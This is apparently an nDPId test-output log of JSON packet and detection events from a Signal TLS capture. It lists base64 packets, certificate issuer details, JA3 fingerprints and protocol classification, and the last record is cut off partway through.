+02357{"flow_id":3,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":59,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051247,"pkt_ts_usec":818667,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"xGGLNYKpxiwDYGpkCABFAAXUcPAAAO0GgOsi4fCtwKgCEQG7wEr7fyfrQK3EmoAQAG4WPAAAAQEICmQVVwUoVU3zFgMDAFkCAABVAwPc909jc\/a4iqBfpiekbcU8+LL\/ViLUa3VEtY9sKaHIISBOpjSQqcfDFIpBjm15LStVN32XWcn9Y5zNrzIlx4N\/GcAvAAAN\/wEAAQAACwAEAwABAhYDAwfnCwAH4wAH4AAD5zCCA+MwggLLoAMCAQICAhAYMA0GCSqGSIb3DQEBCwUAMIGNMQswCQYDVQQGEwJVUzETMBEGA1UECAwKQ2FsaWZvcm5pYTEWMBQGA1UEBwwNU2FuIEZyYW5jaXNjbzEdMBsGA1UECgwUT3BlbiBXaGlzcGVyIFN5c3RlbXMxHTAbBgNVBAsMFE9wZW4gV2hpc3BlciBTeXN0ZW1zMRMwEQYDVQQDDApUZXh0U2VjdXJlMB4XDTE5MDIxNTE3MzgxN1oXDTI5MDMxMjE4MjAyMFowgZAxCzAJBgNVBAYTAlVTMRMwEQYDVQQIDApDYWxpZm9ybmlhMR0wGwYDVQQKDBRPcGVuIFdoaXNwZXIgU3lzdGVtczEdMBsGA1UECwwUT3BlbiBXaGlzcGVyIFN5c3RlbXMxLjAsBgNVBAMMJXRleHRzZWN1cmUtc2VydmljZS53aGlzcGVyc3lzdGVtcy5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCsyBG10UW3wKLLz5OJmoB1s7B4cDs7uzp+xAOMcalYh2zeKMeI5eS4fZrup1VtHgb8XPc0CjxtIo4ECTf0led4xcI6qra+CWE7B8yrOm4B5WB+rFt1x8Xj4+SRSkkl1mO5SjQElZeSpEpoWomCLRDxMb0qDwfWzcLqYsWeQHtIiBPzWEAOsmV6UE2NHQVNJdatKUHl8y16oCXrU4c0l6+o+bKDTtiskaDATWyONnz1GL1kQjlH8lDSNn296rLmQ\/kEO2CsZeYYAwVPKDQjTfNLDVo4YeZxRDlho+ZcZdamE5Kd7FiSRmA+nLkAydQ60ijWw1Fp7JSHvsL2X08ffpJtAgMBAAGjSDBGMEQGA1UdEQQ9MDuCJXRleHRzZWN1cmUtc2VydmljZS53aGlzcGVyc3lzdGVtcy5vcmeCEnNlcnZpY2Uuc2lnbmFsLm9yZzANBgkqhkiG9w0BAQsFAAOCAQEAKWsuR7z3DD\/hxNr0t1jsS\/8oBtaP6uM3Dv1WDnwO6tsohTdhQxfJRHMBKnAzAM9voRiv314toGiGKun6d3y\/TrcyK15lDQgdiPT6biOI4+sVLREXnDl0mhxNgt0yN7ewiHL4WxlNTqyYgy21RRxPEQHrbCScndmFrswcHfVN6FkuGTc45cEC0zoiaaAKUipjJUOjlX4Ha+q0UyNaHMPquP8A8XGBIYi6DJY8uNgP1q8F88lDA5HALWR045FALki4r5+N+Jy3GF2pTFCFvLEDS5LCk6lR9ujCktrdh0VbOHMA35rRs5lki24EQZf\/DqrquVyyzRFCDN9TVXAVBaSoSQAD8zCCA+8wggLXoAMCAQICCQCJui2rSuTzYjANBgkqhkiG9w0BAQUFADCBjTELMAkGA1UEBhMCVVMxEzARBgNVBAgMCkNhbGlmb3JuaWExFjAUBgNVBAcMDVNhbiBGcmFuY2lzY28xHTAbBgNVBAoMFE9wZW4gV2hpc3BlciBTeXN0ZW1zMR0wGwYDVQQLDBRPcGVuIFdoaXNwZXIgU3lzdGVtczETMBEGA1UEAwwKVGV4dFNlY3VyZTAeFw0xMzAzMjUyMjE4MzVaFw0yMzAzMjMyMjE4MzVaMIGNMQswCQYDVQQGEwJVUzETMBEGA1UECAwKQ2FsaWZvcm5pYTEWMBQGA1UEBwwNU2FuIEZyYW5jaXNjbzEdMBsGA1UECgwUT3BlbiBXaGlzcGVyIFN5c3RlbXMxHTAbBgNVBAsMFE9wZW4gV2hpc3Bl"} +00832{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":59,"source":"signal.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":6,"flow_first_seen":1569051247594,"flow_last_seen":1569051247818,"flow_tot_l4_data_len":1849,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":308,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"34.225.240.173","src_port":49226,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Signal","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"textsecure-service.whispersystems.org","ja3":"e4d448cdfe06dc1243c1eb026c74ac9a","ja3s":"303951d4c50efb2e991652225a6f02b1","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256"}} +01818{"flow_id":3,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":60,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051247,"pkt_ts_usec":818679,"pkt_caplen":1095,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1095,"pkt_l4_len":1061,"pkt":"xGGLNYKpxiwDYGpkCABFAAQ5cPEAAO0GgoUi4fCtwKgCEQG7wEr7fy2LQK3EmoAYAG5f1AAAAQEICmQVVwUoVU3zciBTeXN0ZW1zMRMwEQYDVQQDDApUZXh0U2VjdXJlMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwUlgaTggQxdIuKtneIwF5El1BqW3lroFT0Ao2i+qg\/UAzsXltWn73z6POt4ugq6tSg8R6Qd+hMM1XI8C5BUyDHqO7fbNRUKJQLd5hK1dlNL4nulXrPso+oK0n8cCAwHHbCpiNGtUkAmZa90NbXBwJAChUcWDWsAA8qbOQfmZqnIH+ud010uf9CDz0C6HC5\/Bli8DmDZ2HwbyCygzCLZmU7RG7nHYoMRAPZnyL7xwAxG7Xi7VYMAZvUeb1b7cKw+ggsSN6YB+xB+5DD9Dnfd8C4rL59coR2OxbmJa5GKnZDL1lKyqAElcOI2+vb2niQlHVPhwqFzkj9T0HC+lnpzQhwIDAQABo1AwTjAdBgNVHQ4EFgQUAYsY8T\/7ORlEboWGvpRlMqcyPJAwHwYDVR0jBBgwFoAUAYsY8T\/7ORlEboWGvpRlMqcyPJAwDAYDVR0TBAUwAwEB\/zANBgkqhkiG9w0BAQUFAAOCAQEAfh6+IQueptC7yQLtUSujbjw20zBDe\/4zKIxR8R+D91zxX7qY0fm5A6tKTzlOiYyMZ6w9Vw\/xFZk02k1WOYjoXsr+1MyTnn29qSznParLryOH52hEofW4c5Z\/i18bQq0TxoZMQNSDCKNyf7NlhfylWGcnIrum+LmyfdVzwLgTWcCJroO\/7K1r26ZNIaugOs9eNFk1UirSRuxD+NZCXv6BeLrGOSeyz5MSty1szCZ2+RCCQ5kb8h\/KckcFoOkJuqohhWiOJy\/EFOC2tcdnp+Axl0WizD0cIxCzYED6HUd\/M6AjLgPIB2X2WGKGew+0NcDVIlR3MbhaxHgWmCWyxK8C1RYDAwFNDAABSQMAF0EEypibcpB8suaanHOY9SoCSN0NHwGMJ4pIWQvyBijPTWA2EP2EPfqnXdUisC4Pb4OM5ySBmLP6w0pboMLmiQBa9gYBAQA7WFTYV3qMJPFywNI4IVakynFqqq4OCC2y9MUP9g3f\/gQ6\/b4BQTX5tnnzs45u7uJ5n3ycLcVaexZSXSzBH9THuSYGTgWqTO5IPiwzH64FkTGOGsrH5ixWuBCfvK6bvg+isWHFVkrk1uzOPwuvuQwSjIKEPgHhE\/c1KTV2RXOHBYJnemfYtsJAMdAqySwO27qbYiyuci8QZVkGbzqlirqZ\/V+xkcpVRj1zVjRYELjuGO\/KuVU4DfrD3MjxMOgGIQ4kd4locHD7VyUCOeFFDf0gX3CrOlpPFQYgsWZ5Y7A5d0pIkhzeaxZS2DWW3wqmU2XzzJ3\/MdcgBis9zMbCg5YHFgMDAAQOAAAA"} +01220{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":60,"source":"signal.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":7,"flow_first_seen":1569051247594,"flow_last_seen":1569051247818,"flow_tot_l4_data_len":2910,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":415,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"34.225.240.173","src_port":49226,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Signal","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"textsecure-service.whispersystems.org","server_names":"textsecure-service.whispersystems.org,service.signal.org","ja3":"e4d448cdfe06dc1243c1eb026c74ac9a","ja3s":"303951d4c50efb2e991652225a6f02b1","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, ST=California, L=San Francisco, O=Open Whisper Systems, OU=Open Whisper Systems, CN=TextSecure","issuerDN":"C=US, ST=California, O=Open Whisper Systems, OU=Open Whisper Systems, CN=textsecure-service.whispersystems.org","fingerprint":"5E:9E:63:F5:69:45:C7:DC:E6:4D:26:68:36:7E:C2:68:DB:02:60:8B"}} +00422{"flow_id":3,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":61,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051247,"pkt_ts_usec":820337,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGZHzAqAIRIuHwrcBKAbtArcSa+38xkIAQB+9yVQAAAQEICihVTmNkFVcF"} +00422{"flow_id":5,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":62,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051247,"pkt_ts_usec":820470,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xGGLNYKpxiwDYGpkCABFAAA06d0AAO0GDZ4i4fCtwKgCEQG73rtLEL7bsq25d4AQAG4TtAAAAQEICmQVVwYoVVJa"} +02355{"flow_id":5,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":63,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051247,"pkt_ts_usec":822394,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"xGGLNYKpxiwDYGpkCABFAAXU6d4AAO0GB\/0i4fCtwKgCEQG73rtLEL7bsq25d4AQAG7q5gAAAQEICmQVVwYoVVJaFgMDAGICAABeAwMNXD8fXbNx86yVNZArROawe23r2GZoQa3gLHkrH4BfYiDYrD5r2btJMgmiQISYggyjzcYEtCwpCd3hAwR36bb9U8AvAAAW\/wEAAQAACwAEAwABAgAQAAUAAwJoMhYDAwfnCwAH4wAH4AAD5zCCA+MwggLLoAMCAQICAhAYMA0GCSqGSIb3DQEBCwUAMIGNMQswCQYDVQQGEwJVUzETMBEGA1UECAwKQ2FsaWZvcm5pYTEWMBQGA1UEBwwNU2FuIEZyYW5jaXNjbzEdMBsGA1UECgwUT3BlbiBXaGlzcGVyIFN5c3RlbXMxHTAbBgNVBAsMFE9wZW4gV2hpc3BlciBTeXN0ZW1zMRMwEQYDVQQDDApUZXh0U2VjdXJlMB4XDTE5MDIxNTE3MzgxN1oXDTI5MDMxMjE4MjAyMFowgZAxCzAJBgNVBAYTAlVTMRMwEQYDVQQIDApDYWxpZm9ybmlhMR0wGwYDVQQKDBRPcGVuIFdoaXNwZXIgU3lzdGVtczEdMBsGA1UECwwUT3BlbiBXaGlzcGVyIFN5c3RlbXMxLjAsBgNVBAMMJXRleHRzZWN1cmUtc2VydmljZS53aGlzcGVyc3lzdGVtcy5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCsyBG10UW3wKLLz5OJmoB1s7B4cDs7uzp+xAOMcalYh2zeKMeI5eS4fZrup1VtHgb8XPc0CjxtIo4ECTf0led4xcI6qra+CWE7B8yrOm4B5WB+rFt1x8Xj4+SRSkkl1mO5SjQElZeSpEpoWomCLRDxMb0qDwfWzcLqYsWeQHtIiBPzWEAOsmV6UE2NHQVNJdatKUHl8y16oCXrU4c0l6+o+bKDTtiskaDATWyONnz1GL1kQjlH8lDSNn296rLmQ\/kEO2CsZeYYAwVPKDQjTfNLDVo4YeZxRDlho+ZcZdamE5Kd7FiSRmA+nLkAydQ60ijWw1Fp7JSHvsL2X08ffpJtAgMBAAGjSDBGMEQGA1UdEQQ9MDuCJXRleHRzZWN1cmUtc2VydmljZS53aGlzcGVyc3lzdGVtcy5vcmeCEnNlcnZpY2Uuc2lnbmFsLm9yZzANBgkqhkiG9w0BAQsFAAOCAQEAKWsuR7z3DD\/hxNr0t1jsS\/8oBtaP6uM3Dv1WDnwO6tsohTdhQxfJRHMBKnAzAM9voRiv314toGiGKun6d3y\/TrcyK15lDQgdiPT6biOI4+sVLREXnDl0mhxNgt0yN7ewiHL4WxlNTqyYgy21RRxPEQHrbCScndmFrswcHfVN6FkuGTc45cEC0zoiaaAKUipjJUOjlX4Ha+q0UyNaHMPquP8A8XGBIYi6DJY8uNgP1q8F88lDA5HALWR045FALki4r5+N+Jy3GF2pTFCFvLEDS5LCk6lR9ujCktrdh0VbOHMA35rRs5lki24EQZf\/DqrquVyyzRFCDN9TVXAVBaSoSQAD8zCCA+8wggLXoAMCAQICCQCJui2rSuTzYjANBgkqhkiG9w0BAQUFADCBjTELMAkGA1UEBhMCVVMxEzARBgNVBAgMCkNhbGlmb3JuaWExFjAUBgNVBAcMDVNhbiBGcmFuY2lzY28xHTAbBgNVBAoMFE9wZW4gV2hpc3BlciBTeXN0ZW1zMR0wGwYDVQQLDBRPcGVuIFdoaXNwZXIgU3lzdGVtczETMBEGA1UEAwwKVGV4dFNlY3VyZTAeFw0xMzAzMjUyMjE4MzVaFw0yMzAzMjMyMjE4MzVaMIGNMQswCQYDVQQGEwJVUzETMBEGA1UECAwKQ2FsaWZvcm5pYTEWMBQGA1UEBwwNU2FuIEZyYW5jaXNjbzEdMBsGA1UECgwUT3BlbiBXaGlzcGVyIFN5c3RlbXMxHTAbBgNVBAsMFE9w"} +00841{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":63,"source":"signal.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":6,"flow_first_seen":1569051247600,"flow_last_seen":1569051247822,"flow_tot_l4_data_len":2169,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":361,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"34.225.240.173","src_port":57019,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Signal","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"textsecure-service.whispersystems.org","ja3":"6725ca90906e1036febcbfd464e2e326","ja3s":"1089ea6f0461a29006cc96dfe7a11d80","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2"}} +01829{"flow_id":5,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":64,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051247,"pkt_ts_usec":822421,"pkt_caplen":1104,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1104,"pkt_l4_len":1070,"pkt":"xGGLNYKpxiwDYGpkCABFAARC6d8AAO0GCY4i4fCtwKgCEQG73rtLEMR7sq25d4AYAG6ByQAAAQEICmQVVwYoVVJaZW4gV2hpc3BlciBTeXN0ZW1zMRMwEQYDVQQDDApUZXh0U2VjdXJlMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwUlgaTggQxdIuKtneIwF5El1BqW3lroFT0Ao2i+qg\/UAzsXltWn73z6POt4ugq6tSg8R6Qd+hMM1XI8C5BUyDHqO7fbNRUKJQLd5hK1dlNL4nulXrPso+oK0n8cCAwHHbCpiNGtUkAmZa90NbXBwJAChUcWDWsAA8qbOQfmZqnIH+ud010uf9CDz0C6HC5\/Bli8DmDZ2HwbyCygzCLZmU7RG7nHYoMRAPZnyL7xwAxG7Xi7VYMAZvUeb1b7cKw+ggsSN6YB+xB+5DD9Dnfd8C4rL59coR2OxbmJa5GKnZDL1lKyqAElcOI2+vb2niQlHVPhwqFzkj9T0HC+lnpzQhwIDAQABo1AwTjAdBgNVHQ4EFgQUAYsY8T\/7ORlEboWGvpRlMqcyPJAwHwYDVR0jBBgwFoAUAYsY8T\/7ORlEboWGvpRlMqcyPJAwDAYDVR0TBAUwAwEB\/zANBgkqhkiG9w0BAQUFAAOCAQEAfh6+IQueptC7yQLtUSujbjw20zBDe\/4zKIxR8R+D91zxX7qY0fm5A6tKTzlOiYyMZ6w9Vw\/xFZk02k1WOYjoXsr+1MyTnn29qSznParLryOH52hEofW4c5Z\/i18bQq0TxoZMQNSDCKNyf7NlhfylWGcnIrum+LmyfdVzwLgTWcCJroO\/7K1r26ZNIaugOs9eNFk1UirSRuxD+NZCXv6BeLrGOSeyz5MSty1szCZ2+RCCQ5kb8h\/KckcFoOkJuqohhWiOJy\/EFOC2tcdnp+Axl0WizD0cIxCzYED6HUd\/M6AjLgPIB2X2WGKGew+0NcDVIlR3MbhaxHgWmCWyxK8C1RYDAwFNDAABSQMAF0EE3ecTy+6jnlMrNpbZTIAwArvkiOIfUg610O9bIAAW3K+f6BdAyjwzCSwQQGhwDJQc9kNXtCjtMOgrhB58Hf6YUAYBAQAOYV7EzNIKjxhuqbi91MheopXcoDmIsgmHAwsfk5nPLanTx9Y+0OGVH\/cQPWZKAeQKebYJsZuYA2jgH86xEruWZQgRpJjzY5LGsrFgK8PWH9Kuv\/Aks16UO0Fljri74+vQ1PqVg+C2qPlhTXWfYVZWx3CRgcmCRuGS6Ahmy+tQajp8rd3eHE+9nwzyw\/8W+mjs7XWJREMJWA2kKUMidGpPdbknJdGDk\/P8UIoX3zvNEj12pjk0QnOMhrlzAROUBsM4zXRDSQrgAQuQkIHXFb\/AkAMWwonXebSDBNwnBu40MFVcWw4gCpwV9eN5CWqVxtWuhBTxNmgsnRxsjP26R0IaFgMDAAQOAAAA"} +01229{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":64,"source":"signal.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":7,"flow_first_seen":1569051247600,"flow_last_seen":1569051247822,"flow_tot_l4_data_len":3239,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":462,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"34.225.240.173","src_port":57019,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Signal","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"textsecure-service.whispersystems.org","server_names":"textsecure-service.whispersystems.org,service.signal.org","ja3":"6725ca90906e1036febcbfd464e2e326","ja3s":"1089ea6f0461a29006cc96dfe7a11d80","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, ST=California, L=San Francisco, O=Open Whisper Systems, OU=Open Whisper Systems, CN=TextSecure","issuerDN":"C=US, ST=California, O=Open Whisper Systems, OU=Open Whisper Systems, CN=textsecure-service.whispersystems.org","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2","fingerprint":"5E:9E:63:F5:69:45:C7:DC:E6:4D:26:68:36:7E:C2:68:DB:02:60:8B"}} +00526{"flow_id":3,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":65,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051247,"pkt_ts_usec":823475,"pkt_caplen":141,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":141,"pkt_l4_len":107,"pkt":"xiwDYGpkxGGLNYKpCABFAAB\/AABAAEAGZDHAqAIRIuHwrcBKAbtArcSa+38xkIAYCABaGAAAAQEICihVTmZkFVcFFgMDAEYQAABCQQQ0a64xGwwi1kkJsdUkQiNOXRlFpHsfkxHSAhcTsXv6UyZKkk4J1ZCtXUXGlACAfofI4Wt3Eai4rLftrFZhdx5J"} +00423{"flow_id":5,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":66,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051247,"pkt_ts_usec":823951,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGZHzAqAIRIuHwrd67Abuyrbl3SxDIiYAQA\/cGEQAAAQEICihVUsZkFVcG"} +00423{"flow_id":7,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":67,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051247,"pkt_ts_usec":827539,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xGGLNYKpxiwDYGpkCABFAAA0\/+sAAO0G948i4fCtwKgCEQG73r1n96jsbdjJFYAQAG5B6wAAAQEICmQVVwcoVVJf"} +02356{"flow_id":7,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":68,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051247,"pkt_ts_usec":830388,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"xGGLNYKpxiwDYGpkCABFAAXU\/+wAAO0G8e4i4fCtwKgCEQG73r1n96jsbdjJFYAQAG5scQAAAQEICmQVVwgoVVJfFgMDAGICAABeAwMvJ3aJtK0kaecaCZoe0tWDQbGlv7Y+K9fLr8mRSrrnUCDZ0QnDKT+KoPSvU+UzJyw64qxui2t3eVV6nNiyIB\/wKMAvAAAW\/wEAAQAACwAEAwABAgAQAAUAAwJoMhYDAwfnCwAH4wAH4AAD5zCCA+MwggLLoAMCAQICAhAYMA0GCSqGSIb3DQEBCwUAMIGNMQswCQYDVQQGEwJVUzETMBEGA1UECAwKQ2FsaWZvcm5pYTEWMBQGA1UEBwwNU2FuIEZyYW5jaXNjbzEdMBsGA1UECgwUT3BlbiBXaGlzcGVyIFN5c3RlbXMxHTAbBgNVBAsMFE9wZW4gV2hpc3BlciBTeXN0ZW1zMRMwEQYDVQQDDApUZXh0U2VjdXJlMB4XDTE5MDIxNTE3MzgxN1oXDTI5MDMxMjE4MjAyMFowgZAxCzAJBgNVBAYTAlVTMRMwEQYDVQQIDApDYWxpZm9ybmlhMR0wGwYDVQQKDBRPcGVuIFdoaXNwZXIgU3lzdGVtczEdMBsGA1UECwwUT3BlbiBXaGlzcGVyIFN5c3RlbXMxLjAsBgNVBAMMJXRleHRzZWN1cmUtc2VydmljZS53aGlzcGVyc3lzdGVtcy5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCsyBG10UW3wKLLz5OJmoB1s7B4cDs7uzp+xAOMcalYh2zeKMeI5eS4fZrup1VtHgb8XPc0CjxtIo4ECTf0led4xcI6qra+CWE7B8yrOm4B5WB+rFt1x8Xj4+SRSkkl1mO5SjQElZeSpEpoWomCLRDxMb0qDwfWzcLqYsWeQHtIiBPzWEAOsmV6UE2NHQVNJdatKUHl8y16oCXrU4c0l6+o+bKDTtiskaDATWyONnz1GL1kQjlH8lDSNn296rLmQ\/kEO2CsZeYYAwVPKDQjTfNLDVo4YeZxRDlho+ZcZdamE5Kd7FiSRmA+nLkAydQ60ijWw1Fp7JSHvsL2X08ffpJtAgMBAAGjSDBGMEQGA1UdEQQ9MDuCJXRleHRzZWN1cmUtc2VydmljZS53aGlzcGVyc3lzdGVtcy5vcmeCEnNlcnZpY2Uuc2lnbmFsLm9yZzANBgkqhkiG9w0BAQsFAAOCAQEAKWsuR7z3DD\/hxNr0t1jsS\/8oBtaP6uM3Dv1WDnwO6tsohTdhQxfJRHMBKnAzAM9voRiv314toGiGKun6d3y\/TrcyK15lDQgdiPT6biOI4+sVLREXnDl0mhxNgt0yN7ewiHL4WxlNTqyYgy21RRxPEQHrbCScndmFrswcHfVN6FkuGTc45cEC0zoiaaAKUipjJUOjlX4Ha+q0UyNaHMPquP8A8XGBIYi6DJY8uNgP1q8F88lDA5HALWR045FALki4r5+N+Jy3GF2pTFCFvLEDS5LCk6lR9ujCktrdh0VbOHMA35rRs5lki24EQZf\/DqrquVyyzRFCDN9TVXAVBaSoSQAD8zCCA+8wggLXoAMCAQICCQCJui2rSuTzYjANBgkqhkiG9w0BAQUFADCBjTELMAkGA1UEBhMCVVMxEzARBgNVBAgMCkNhbGlmb3JuaWExFjAUBgNVBAcMDVNhbiBGcmFuY2lzY28xHTAbBgNVBAoMFE9wZW4gV2hpc3BlciBTeXN0ZW1zMR0wGwYDVQQLDBRPcGVuIFdoaXNwZXIgU3lzdGVtczETMBEGA1UEAwwKVGV4dFNlY3VyZTAeFw0xMzAzMjUyMjE4MzVaFw0yMzAzMjMyMjE4MzVaMIGNMQswCQYDVQQGEwJVUzETMBEGA1UECAwKQ2FsaWZvcm5pYTEWMBQGA1UEBwwNU2FuIEZyYW5jaXNjbzEdMBsGA1UECgwUT3BlbiBXaGlzcGVyIFN5c3RlbXMxHTAbBgNVBAsMFE9w"} +00841{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":68,"source":"signal.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":6,"flow_first_seen":1569051247603,"flow_last_seen":1569051247830,"flow_tot_l4_data_len":2169,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":361,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"34.225.240.173","src_port":57021,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Signal","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"textsecure-service.whispersystems.org","ja3":"6725ca90906e1036febcbfd464e2e326","ja3s":"1089ea6f0461a29006cc96dfe7a11d80","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2"}} +01831{"flow_id":7,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":69,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051247,"pkt_ts_usec":830426,"pkt_caplen":1104,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1104,"pkt_l4_len":1070,"pkt":"xGGLNYKpxiwDYGpkCABFAARC\/+0AAO0G838i4fCtwKgCEQG73r1n966MbdjJFYAYAG6dQgAAAQEICmQVVwgoVVJfZW4gV2hpc3BlciBTeXN0ZW1zMRMwEQYDVQQDDApUZXh0U2VjdXJlMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwUlgaTggQxdIuKtneIwF5El1BqW3lroFT0Ao2i+qg\/UAzsXltWn73z6POt4ugq6tSg8R6Qd+hMM1XI8C5BUyDHqO7fbNRUKJQLd5hK1dlNL4nulXrPso+oK0n8cCAwHHbCpiNGtUkAmZa90NbXBwJAChUcWDWsAA8qbOQfmZqnIH+ud010uf9CDz0C6HC5\/Bli8DmDZ2HwbyCygzCLZmU7RG7nHYoMRAPZnyL7xwAxG7Xi7VYMAZvUeb1b7cKw+ggsSN6YB+xB+5DD9Dnfd8C4rL59coR2OxbmJa5GKnZDL1lKyqAElcOI2+vb2niQlHVPhwqFzkj9T0HC+lnpzQhwIDAQABo1AwTjAdBgNVHQ4EFgQUAYsY8T\/7ORlEboWGvpRlMqcyPJAwHwYDVR0jBBgwFoAUAYsY8T\/7ORlEboWGvpRlMqcyPJAwDAYDVR0TBAUwAwEB\/zANBgkqhkiG9w0BAQUFAAOCAQEAfh6+IQueptC7yQLtUSujbjw20zBDe\/4zKIxR8R+D91zxX7qY0fm5A6tKTzlOiYyMZ6w9Vw\/xFZk02k1WOYjoXsr+1MyTnn29qSznParLryOH52hEofW4c5Z\/i18bQq0TxoZMQNSDCKNyf7NlhfylWGcnIrum+LmyfdVzwLgTWcCJroO\/7K1r26ZNIaugOs9eNFk1UirSRuxD+NZCXv6BeL